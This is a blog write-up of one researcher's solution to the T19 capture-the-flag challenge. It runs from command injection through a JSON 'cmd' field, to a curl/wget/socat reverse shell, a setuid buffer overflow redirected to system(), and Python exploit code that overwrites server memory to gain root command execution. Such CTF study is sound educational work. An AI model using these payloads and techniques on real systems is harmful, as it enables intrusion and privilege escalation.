Earlier this year Twistlock published a CTF (Capture the Flag) called T19. Unlike traditional CTF competitions, it was intended to imitate a real life hacking situation. Instead of building multiple challenges and a ranking system (“Jeopardy style”) the challenge revolved around one application on a machine with the flags saved on it as hidden files. The goal of the challenge was to empty a database of hashes. To do so however, one would have to escalate privileges in a way that would expose the flags in order.
The challenge is no longer hosted online, but there is a Docker image similar to the one was used, so you can locally run the image and try to solve the challenge by yourself. See the challenge website for this option.

As a new researcher on team, the T19 challenge was given to me as the “final-boss” task in my training.

Kicking Things Off

I browsed into the T19 challenge website and followed the simple instructions to deploy my own instance of the challenge server. There is a short story that starts the challenge:

Our company developed a unique Linux binary called "cat". We recently discovered that our competitors from the Antivirus company VirusExpress are blocking our cat binary. It is now signed as a virus. Word is that you are a badass security researcher. We need you to infiltrate their server and empty their database.

All you have to do is download the cat file and then launch the docker image that mimics the original challenge server: run a docker image, specifying the seccomp config file:

docker run -p 13337:13337 -d --security-opt seccomp=t19.json twistlock/t19

It is important to understand that in the real challenge one didn’t have access to the server image so you’re not suppose to mess or even look at anything that is related to the image.

First Flag

Browsing into localhost:1337 and starting the challenge.

It seems like a very simple antivirus web interface. I tried uploading our cat binary and indeed:

It looks like this state of the art antivirus blocks files based on their md5 and our cat file is the only file that is being blocked.

I kept going by checking the source code of the webpage and there was the first clue:

It seems like there is an experimental API at /api. Requesting that address ended up with the following JSON response:

daniel@dp-T480:~$ curl http://localhost:13337/api && echo
{"success":false,"response":"Please deliver something next time."}

The original non-experimental-api was using POST method to upload the files to the server, so I gave it a try as well, and indeed:

daniel@dp-T480:~$ curl --data "file=test" http://localhost:13337/api?file=blabla
{"success":false,"response":"Please deliver JSON application only."}

There is an application/json header which seems relevant in this case, so I gave it another try with this header and got an error complaining about my data:

daniel@dp-T480:~$ curl --header "Content-type: application/json" --data "file=aaa" http://localhost:13337/api
Yajl::ParseError: lexical error: invalid string in json text.
                     (right here) ------^

So I tried it again with a valid json data and got a decent amount of information:

daniel@dp-T480:~$ curl -H "Content-type: application/json" --data '{"file": "aaa"}' http://localhost:13337/api
TypeError: no implicit conversion of Symbol into Integer
  /home/rubyist/http.rb:52:in `[]'
  /home/rubyist/http.rb:52:in `block in <main>'

Sadly the response I received was plain-text which seemed like it was lacking data. I wasted way more time than I should have on this problem and eventually found out that the ruby server that was used in the challenge detects the curl user-agent and sends it a special response as plain text. So I changed the user-agent of my request and got a valid error html page with tons of information:

daniel@dp-T480:~$ curl -A "L33T UserAgent" -H "Content-type: application/json" --data '{"file": "aaa"}' http://localhost:13337/api > err.html

Well, that was worth it. The html version got A LOT more information than the plain-text version.

Our json request is being processed and sent to an external function called is_virus? alongside a cmd in our request, which up until now wasn’t specified in any of our requests. That lead me to believe the cmd parameter got some kind of default value. Also, we learned about how our json body should look like to work properly: We need to specify a name and a hash. So I crafted a simple json string with my own cmd for testings:

daniel@dp-T480:~$ curl -A "L33T UserAgent" -H "Content-type: application/json" --data '{"file": {"hash": "aaa", "name": "cat"}, "cmd": "ls"}' http://localhost:13337/api > err.html

And now got even more information:

Now we pretty much got all the information we need, the error from the last command leaked the plug.rb file which contains the is_virus? function that, as suspected before, got a default cmd:

require 'z85rb'


def is_virus? filehash, filename, cmd=DEFAULT_CMD
  cmd = DEFAULT_CMD unless cmd
  encoded = Z85rb.encode(filehash)
  `#{cmd} "#{encoded}" "#{filename}"`

def str_is_true? str
  str.downcase == "true"

The DEFAULT_CMD is a call to the database client, which returns a string of true or false. The execution happens because of ruby’s backticks, which is basically a way to run shell commands.

Before the hash is being sent into DEFAULT_CMD it is being encoded with Z85rb.encode, which, according to the error, have to be of length that is divisible by 4 with no remainder. So I tried again:

daniel@dp-T480:~$ curl -A "L33T UserAgent" -H "Content-type: application/json" --data '{"file": {"hash": "aaaa", "name": "cat"}, "cmd": "ls&&"}' http://localhost:13337/api

So, now we can easily start a reverse shell. A reverse shell is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using, code or command execution is achieved. I decided to use socat, so on my own machine:

daniel@dp-T480:~$ socat file:`tty`,raw,echo=0 tcp-listen:1337

And of-course, sending the following request to the server:

curl -H "Content-type: application/json" --data '{"file": {"hash": "aaaa", "name": "cat"}, "cmd": "wget -q -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'\''bash -li'\'',pty,stderr,setsid,sigint,sane tcp:"}' http://localhost:13337/api

Resulting in a successful reverse shell to the server:

rubyist@d94c97b01f3f:/$ cd home/rubyist/
rubyist@d94c97b01f3f:~$ ls -la
total 48
drwxr-xr-x 1 rubyist rubyist 4096 Jun  2 13:14 .
drwxr-xr-x 1 root    root    4096 Jan 30 15:16 ..
-rw------- 1 rubyist rubyist  245 Jun  2 13:25 .bash_history
-rw-r--r-- 1 rubyist rubyist  220 May 15  2017 .bash_logout
-rw-r--r-- 1 rubyist rubyist 3526 May 15  2017 .bashrc
-r----S--- 1 rubyist rubyist   33 Dec 17 13:24 .flag.apprentice
-rw-r--r-- 1 rubyist rubyist  675 May 15  2017 .profile
-rw-r--r-- 1 rubyist rubyist  215 Jun  2 13:11 .wget-hsts
lrwxrwxrwx 1 rubyist rubyist   18 Jan 30 15:16 dbclient -> /home/ben/dbclient
-rwxrwxr-x 1 rubyist rubyist 1297 Dec 26 15:27 http.rb
-rw-rw-r-- 1 rubyist rubyist  259 Dec 18 13:23 plug.rb
drwxrwxr-x 2 rubyist rubyist 4096 Dec 20 10:56 views
rubyist@d94c97b01f3f:~$ cat .flag.apprentice 

Second Flag

Using the reverse shell we achieved in the previous level I sniffed around in the machine and found out our next flag is in the home directory of a user named ben:

rubyist@d94c97b01f3f:~$ ls -la /home/ben
total 60
drwxr-xr-x 1 ben  ben   4096 Jan 30 15:16 .
drwxr-xr-x 1 root root  4096 Jan 30 15:16 ..
-rw-r--r-- 1 ben  ben    220 May 15  2017 .bash_logout
-rw-r--r-- 1 ben  ben   3526 May 15  2017 .bashrc
-r----S--- 1 ben  ben     24 Nov 29  2018 .flag.advanced
-rw-r--r-- 1 ben  ben    675 May 15  2017 .profile
-rws---r-x 1 ben  ben  14872 Dec 17 18:01 dbclient
-r-------- 1 ben  ben  14552 Dec 17 18:01 srv_copy

Unfortunately, our user, rubyist, have no access to that file. Fortunately, the database client, dbclient, has the +s (setuid) flag.

Normally, on a unix-like operating system, the ownership of files and directories is based on the default uid (user-id) and gid (group-id) of the user who created them. The same thing happens when a process is launched: it runs with the effective user-id and group-id of the user who started it, and with the corresponding privileges. This behavior can be modified by using special permissions.

When the setuid bit is used, the behavior described above it’s modified so that when an executable is launched, it does not run with the privileges of the user who launched it, but with that of the file owner instead. So, for example, if an executable has the setuid bit set on it, and it’s owned by root, when launched by a normal user, it will run with effective root privileges.

At this point it is pretty clear how we advance: we need to reverse engineer dbclient and hopefully find some kind of vulnerability that will allow us to read the flag file. So I dumped the binary using the following command:

rubyist@d94c97b01f3f:~$ cat /home/rubyist/dbclient | base64 -w 0

And decoded the base64 file on my local machine.


I actually reversed the binary completely but most of it isn’t relevant for this flag, so we will talk about it later. For now, I came up with the following simplified code of main, which is the only thing we need for this level:

long main(int argc, char **argv, char **a3)
  unsigned int hash_len; // eax
  char dest[0x28]; // [rsp+10h] [rbp-50h]
  char **z85_decoded; // [rsp+38h] [rbp-28h]
  void *z85_decode_pointer; // [rsp+40h] [rbp-20h]
  int is_virus; // [rsp+48h] [rbp-18h]
  unsigned __int64 v9; // [rsp+58h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  z85_decode_pointer = -1LL;
  if ( argc == 1 )
    if ( is_server_live() )
      puts("client: server is live.");
      return 0;
      puts("client: server is bad.");
      return 1;
  else if ( argc == 3 )
    hash_len = strlen(argv[1]);
    if ( is_ascii85(argv[1], hash_len) )
      strcpy(&dest, argv[1]);
      z85_decode_pointer = (z85_decode_pointer & Z85_decode);
      z85_decoded = z85_decode_pointer(&dest);
      if ( z85_decoded )
        if ( check_hash(z85_decoded, &is_virus) == 1 )
          if ( is_virus )
            printf("true", &is_virus, argv);
            printf("false", &is_virus, argv);
          return 0;
          fwrite("client server communication failed\n", 1uLL, 0x23uLL, stderr);
          return 1;
        fwrite("client hash failed\n", 1uLL, 0x13uLL, stderr);
        return 1;
      fwrite("client bad hash\n", 1uLL, 0x10uLL, stderr);
      return 1;
    fwrite("client [hash] [filename]\n", 1uLL, 0x19uLL, stderr);
    return 1;

If enough arguments were passed to the client (argc is 3) the program will verify the first argument (argv[1]) is indeed ascii85 and if it is, it will copy (using the unsafe function strcpy) argv[1] to a buffer on the stack. After that the client will mask the pointer to the Z85_decode function (that, according to some binary comparison, was taken from here) with -1 (ANDing with 0xFFFFFFFFFFFFFFFF does nothing) and call it with the first parameter being the address of the buffer from before (stack address).

The return value is supposed to be the z85 decoded value of argv[1], I called it z85_decoded. If z85_decoded is not null (meaning Z85_decode was able to decode it successfully) the program continue to check the hash against the server and writes the result to a local variable I named is_virus. From here it is pretty simple, if is_virus is 0, the program prints false, prints true otherwise.

It is pretty easy to spot the potential of a buffer overflow caused by the strcpy call before decoding argv[1]. The destination buffer is of size 40 (after z85 decoding it – 32, the size of md5 string) but there are no checks for argv[1] size, so one can overwrite almost all the other local variables, for example, the z85_decode_pointer variable that is being set to -1 before the strcpy.

At this point I realized I can call almost every function, with the first parameter conveniently being a pointer to argv[1] (meaning under my control). I searched for some useful function to call and eventually found out that conveniently there is a call to libc_system in the plt section:

0000000000400a60 <__libc_system@plt>:
  400a60:  ff 25 f2 25 20 00      jmpq   *0x2025f2(%rip)

Now all there is left is overwriting z85_decode_pointer with a value v1, such as v1 & Z85_decode = libc_system_plt, or, with actual values: v1 & 0x401AF6 = 0x400A60. But wait! v1 have to be of ascii85, otherwise the program will return before the strcpy part. The following, very overkill code, will generate every possible 3-characters-string that can work:

import struct
import itertools

Z85_decode = 0x401AF6
libc_system = 0x400A60
ascii85_charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.-:+=^!/*?&<>()[]{}@%$#"

for c in itertools.product(ascii85_charset, repeat=3):
    if struct.unpack("i", "".join(c) + "\x00")[0] & Z85_decode == libc_system:
        print "".join(c)

What about argv[1] length? It obviously needs to be at least 0x28 characters long in order to overwrite anything. We only need to overwrite the first 3 bytes of the mask, meaning argv[1] needs to be 0x28+0x8+0x3=0x33 characters long, but it has to be divisible by 5 with no remainder so our argv[1] will have to be of length 55. The prefix of argv[1] is the shell command the client will execute on the server (we call libc_system with a pointer to argv[1] as parameter), so eventually I came up with something like the following, notice the i/m which equals to 0x6D2F69. 0x6D2F69 & 0x401AF6 = 0x400A60, as planned.

rubyist@1636c2853557:~$ ./dbclient "python&&#Some1337BlablaPaddingHereAndSomeMoreeeei/mPADD" cat
Python 2.7.13 (default, Sep 26 2018, 18:42:22) 
[GCC 6.3.0 20170516] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> f = open('/home/ben/.flag.advanced', 'rb')
>>> print

Third Flag

Earlier, when I listed ben’s home directory, I noticed there is a file called srv_copy which seemed like a copy of the server binary, we also know that root is the one running the server (/opt/srv):

rubyist@b49ef4156cd6:/home/ben$ ps aux
root          1  0.1  0.0  17956  2804 ?        Ss   05:07   0:00 /bin/bash /bin
root          7  0.0  0.0  46860  2728 ?        S    05:07   0:00 su rubyist -c
root          9  0.0  0.0   6196   656 ?        S    05:07   0:00 /opt/srv
rubyist      12  0.0  0.0   4288   684 ?        Ss   05:07   0:00 sh -c ruby /ho
rubyist      13  0.2  0.5 257560 23724 ?        Sl   05:07   0:00 ruby /home/rub

Now, with a python shell with ben’s permission, we can dump srv_copy and investigate further. So let’s dump the file exactly as before and drop it to our favorite disassembler.

I immediately noticed this binary have a lot of similarities with the client. It seems like the client and the server were compiled using the same networking library (the client had few “server like” functions that weren’t used, the server got few “client like” functions that weren’t used).

The fact I completely reversed the client although I didn’t need to paid off: I had very little reversing to do on the server side, which was necessary for this step.

The client and the server communicates through a simple custom protocol which looks like this:

struct CSProtocol
  int   checksum; //adler32
  char   pad[4];
  char   magic_string[5];
  char  msg_type;
  char  data[255];

The client specifies the message type in msg_type and if the answer is boolean (for example checking an md5 for being a virus), it will be received in msg_type and the data buffer will be empty. Here is a simplified code of the main function of the server:

long main(long argc, char **argv)
  CSProtocol req;

  while (1)
    int srv_fd = start_server("secretSock");
    if (!srv_fd)
    if (srv_fd > 0)
      while (read_msg(srv_fd, req))
    switch (req.msg_type) 
      case 1:
        send_msg(srv_fd, 1, 0);
      case 2:
        send_msg(srv_fd, check_hash(, 0x603120), 0);
      case 3:
        send_msg(srv_fd, 1, get_hash(;
      case 4:
        send_msg(srv_fd, read_flag(), 0x603120);
      puts("server done with client.");
      fwrite("server can't start\n", 1, 0x13, stderr);
  puts("server quit.");
  return 0;

Notice 0x603120 which is a buffer in the bss section and the server uses it to store data in several functions. Here are the read_flag, check_hash and get_hash functions which are also relevant for this flag:

int64 read_flag()
  if ( *(char *)db_addr ) // database is not empty
    memset(0x603140, 0, 0xFF);
    return 0;
    int fd = open("/opt/db/.flag.pwn", 0);
    if ( fd == -1 )
        fwrite("db_is_empty secret open failure\n", 1, 0x20, stderr);
        return 1;
      if ( read(fd, 0x603140, 0xFF) <= 0 )
        fwrite("unexpected error reading secret\n", 1, 0x20, stderr);
  return 1;

So, in order to receive the flag, the server must think that its database is empty, which reminded me the original description of the ctf: “We need you to infiltrate their server and empty their database”.

So we only need to overwrite db_addr in a way it will point to a null byte…

int64 check_hash(const char *hash, char *free_buffer)
  char buf[0x20]; // [rsp+10h] [rbp-40h]
  int64 index; // [rsp+30h] [rbp-20h]
  char *free_buffer_c; // [rsp+38h] [rbp-18h]

  index = 0;
  free_buffer_c = free_buffer;
  strcpy(buf, hash);
    strcpy(free_buffer_c & 0xFFFFFFFFFFFFFFF0), db_addr + index);
    if ( !memcmp(buf, free_buffer_c, 0x20) )
      return 1;
    index += 33;
  while ( *((char *)db_addr + index) );
  return 0;

The way the loop works we can understand that the database file is simply a list of 32 bytes long strings with some kind of 1 byte terminator between them. Also there is an obvious buffer overflow vulnerability in the strcpy function, as before. But first let’s look at the last interesting function in the server:

char *get_hash(int64 index)
  return (char *)db_addr + 33 * index;

I immediately realized I should use the get_hash function to leak information from the server, as there is no check for index, but I didn’t know where db_addr is pointing, so I couldn’t know where I will be reading from! After a while I noticed that I can actually call that function before the server reads the database file! db_addr is being initialized with the return value of mmap in the read_db_file function (very simplified):

int64 read_db_file()
  int fd = open("/opt/db/base", 0);
  db_addr = mmap(0, stat_buf.st_size, 3, 2, fd, 0);

So before db_addr is initialized we have arbitrary read. Reading addresses that are multiplication of 33 (0x21 in hex) is more than good enough, of-course, but we can actually read any address with the following trick:

We are looking for value n such as n*addr*0x21=addr so n*0x21=1, or to be precise, n*0x21=0x10000000000000001 and the overflow will drop the first 1 and make it 1. That magic number is 0xF83E0F83E0F83E1. If we want to read addr a, we need to request the server for a*0xF83E0F83E0F83E1.

I didn’t bother coding my own full-sized client. I started exploiting the server application using a local python shell I ran through the rubyist user:

def create_req(req_type, data):
    s = ["\x00"] * 0x10D
    s[13] = req_type
    for i in xrange(len(data)):
        s[14 + i] = data[i]
    p = struct.pack("i", zlib.adler32("".join(s)))
    for i in xrange(4):
        s[i] = p[i]
    return s

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)

Notice the adler32 checksum, the server won’t even process the request if the checksum doesn’t match.

The Plan

My original plan was to overwrite db_addr in a way that it will point to a null byte and the program will think we emptied the database, but then I thought, why not just write a null byte to the database buffer? That sounds much easier. We basically need to find index i such as [db_addr + i] = 0. Because the limitations of strcpy our index have to be without null bytes, so basically, a negative number.

I started sniffing around the got.plt region and then crashed the server. I then sniffed again. All the addresses were exactly the same, meaning ASLR was off.

const = 0xF83E0F83E0F83E1
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.send("".join(create_req("\x03", struct.pack("q", (const * 0x603000) & FFs))))
a = s.recv(1024)
for i in xrange(31):
    print hex(struct.unpack("Q", a[1 + i * 8: 9 + i * 8])[0])

I received the following 31 values from got.plt:

>>> s.send("".join(create_req("\x03", struct.pack("q", (const * 0x603000) & FFs))))
>>> a = s.recv(1024)
>>> for i in xrange(31):
...     print hex(struct.unpack("Q", a[1 + i * 8: 9 + i * 8])[0])

With some more local research (I pulled an Ubuntu docker image similar to the one the server was using), some more reading about how mmap works (it allocates an entire page, so the database address will always ends with 3 zeros) and some brute forcing (basically tried to read ((db - 0x400000) / 0x21) until I found ELF) I found the database at 0x7ffff7ff4000:

>>> db_addr = 0x7ffff7ff4000
>>> s.send("".join(create_req("\x03", struct.pack("q", ((0x400000 - db_addr) * const) & FFs))))
>>> a = s.recv(1024)
>>> print a[2:5]

From here creating the exploit was easy: we overwrite index for a negative value that will point to a null byte and free_buffer_c with 0x7ffff7ff4000 so strcpy will write the null byte to the first byte of the database. We need an addr a1 such as a1[0] == 0 and a1[33] == 0 so the 2nd strcpy won’t occur. I found one in of the libc sections. I did the following:

start_addr = 0x7ffff7dd9000
data = get_data(start_addr)
while data[0] + data[33]:
    start_addr += 1
    data = get_data(start_addr)

Despite this code being extremely inefficient (I could read 255 bytes and iterate 222 times per request, instead of requesting the data from the server every time) it took only 6 iterations to find what I was looking for, and sooooo:

>>> s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
>>> s.connect("\0secretSock")
>>> s.send("".join(create_req("\x04", "")))
>>> s.send("".join(create_req("\x02",
...                           "A" * 0x20 +
...                           struct.pack("q", 0x7ffff7bb9005 - db_addr) +
...                           struct.pack("Q", db_addr + 1))))
>>> s.send("".join(create_req("\x04", "")))
>>> a = s.recv(1024)
>>> print a

Last Flag

The challenge description states there is an additional “hidden” flag to find. The server is being run by root, so it makes sense the final flag will be achieved by getting code execution on the server, similar to the 2nd level.

This step made me learn a lot about PLT, GOT, PLT.GOT and GOT.PLT. It was great.

I looked again at the check_hash function because we achieved somewhat of an arbitrary write earlier so it looked like a good place to start.

And that dream was to overwrite memcmp pointer with our strcpy overflow so it will point to the libc system function. If you remember the first parameter to the check_hash function is the hash we provide to the server. A possible approach is a request that its first 20 bytes are the shell command, next 8 bytes are system’s address and the next 8 bytes are the address of memcmp in the GOT (0x603070). Sadly that didn’t work out as the address of system will certainly contain null bytes so we won’t be able to overwrite free_buffer_c.

It took me a while before I came with another idea: how about we will overwrite the database pointer (0x603108) in a way it will point to a an address bigger than the stack (so we won’t have null bytes later when we access the stack, because our index, to get to the stack, will be negative), then, in a second call to check_hash we will overwrite the index in such a way db_addr (the new one) + index will point to the address of system (which we will include in our request!). It doesn’t matter that system’s address contains null bytes because now we got a direct way to point strcpy’s src to it.

So, to sum things up:

  1. We send a type 2 request to the server that overflows both index and free_buffer_c:
    1. index need to be negative value such as db_addr + index = &addr where (addr[0] … addr[7] > 0) and (int64)(addr + 8) > db_addr
    2. free_buffer_c need to be &db_addr (0x603108)
  2. We send another type 2 request to the server:
    1. Its first 0x20 bytes are our shell command(s)
    2. Next 8 bytes are an index such as addr + index =[0x30] (it is somewhere on the stack)
    3. Next 4-8 (doesn’t really matter) are the address of memcmp in GOT (0x603070)
    4. Last 8 bytes are the address of libc system

So we got a lot of things to find, and hopefully everything will work as expected!

  1. We need to find the stack so we will be able to do 2.b
  2. 8 non-zero bytes that are followed by any value that is bigger than db_addr (without null bytes) (that’s because free_buffer_c is being &ed with 0xFFFFFFFFFFFFFFF0 so we can’t overwrite 0x603108 but we CAN overwrite 0x603100, so need leading 8 non-zero bytes)
  3. libc system address

About 1.a, index need to be negative value such as db_addr + index = &addr where addr[0] … addr[39] > 0. We need to be able to equal addr[8] … addr[39] to our request prefix. The reason for that is that after overwriting db_addr, which now points to a random address, there is a call to memcmp, and if the buffers aren’t equal there will be another iteration. Another iteration means we add index to, now, totally random db_addr and try to read that memory location, and will certainly get a SEGFAULT.
I wrote the following scanner to find an address that will suffice all the conditions:

def scanner(start_addr):
    while 1:
        print "Scanning memory at address: " + hex(start_addr)
        s.send("".join(create_req("\x03", struct.pack("Q", (const * start_addr) & FFs))))
        a = s.recv(1024)[1:]
        for i in xrange(len(a) - 40):
            found = True
            for j in xrange(40):
                if a[i + j] == '\x00':
                    found = False
            if "\x00" in struct.pack("q", start_addr + i - db_addr):
                found = False
            if found:
                print "Found desired values at address: " + hex(start_addr + i)
                print "Values for request prefix (for memcmp): " + a[i: i + 32].encode("hex")
        start_addr += 0x100

Finding the Stack

That was pretty simple, a bit of trial and error with few crashes trying to read nonpaged memory and scanning for values we know are on the stack (I searched for 0x401146 which is the return address of get_hash to main, so, the address (-8) where I found it is get_hash’s $rbp.
I calculated it with some more local testing and the stack was from 0x00007ffffffde000 to 0x00007ffffffff000. The entire request data (including the checksum and the request type) starts at 0x7fffffffe9d0 (which is the stack frame of main), so, 2.b is at 0x7fffffffe9d0+14+0x30 = 0x7fffffffea0e.

Finding libc system Address

I downloaded the libc so file (sha1: 81A6361B56ED07F58021F6A4795A58D565253956) from the server (our rubyist user can read it) and found system to be at offset 0x3F480, so in the srv memory it suppose to be at 0x7ffff785f480 (I calculated the difference between any other libc function in the program’s GOT), so we found everything we needed. We don’t have access to stdin so we need to print to a file. I created a simple log file in rubyist’s home directory to be my log:

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.send("".join(create_req("\x04", "")))
db_addr = 0x7ffff7ff7000
desired_addr = 0x7ffff7dd7101
new_db_addr = 0x0a6f02200e4a0383
libc_system_stack = 0x7fffffffea0e
libc_system_addr = 0x7ffff785f480
memcmp_check_vals = "\x83\x03\x4a\x0e\x20\x02\x6f\x0a\x0e\x18\x41" \
                    "\xc3\x0e\x10\x41\xc6\x0e\x08\x4a\x0b\x02\x81" \

                          memcmp_check_vals +
                          struct.pack("q", desired_addr - db_addr) +
                          struct.pack("Q", 0x603108))))

                          "ls -la /opt/db>/home/rubyist/l&&" +
                          struct.pack("q", libc_system_stack - new_db_addr) +
                          struct.pack("Q", 0x603070) +
                          struct.pack("Q", libc_system_addr))))

The log file:

rubyist@779f1cf545f0:/# cat /home/rubyist/l
total 20
dr-x-----T 1 root root 4096 Jan 30 15:16 .
drwxr-xr-x 1 root root 4096 Jan 30 15:16 ..
-r-------- 1 root root   31 Nov 29  2018 .flag.pwn
---------- 1 root root   56 Dec 18 21:59 .flag.unexpected
-rw------- 1 root root  198 Dec 18 09:44 base

So I did the exact same thing, now with the following shell command:

cat /opt/db/.flag.unexpected > /home/rubyist/l

It was too long (maximum shell command in my approach is 0x20 bytes) so I wrote it into a file and piped it.

rubyist@779f1cf545f0:/# cat /home/rubyist/l

Finishing Thoughts

This was a great challenge which I had tons of fun solving. I also learned a lot about Linux, after years of using and researching Windows alone.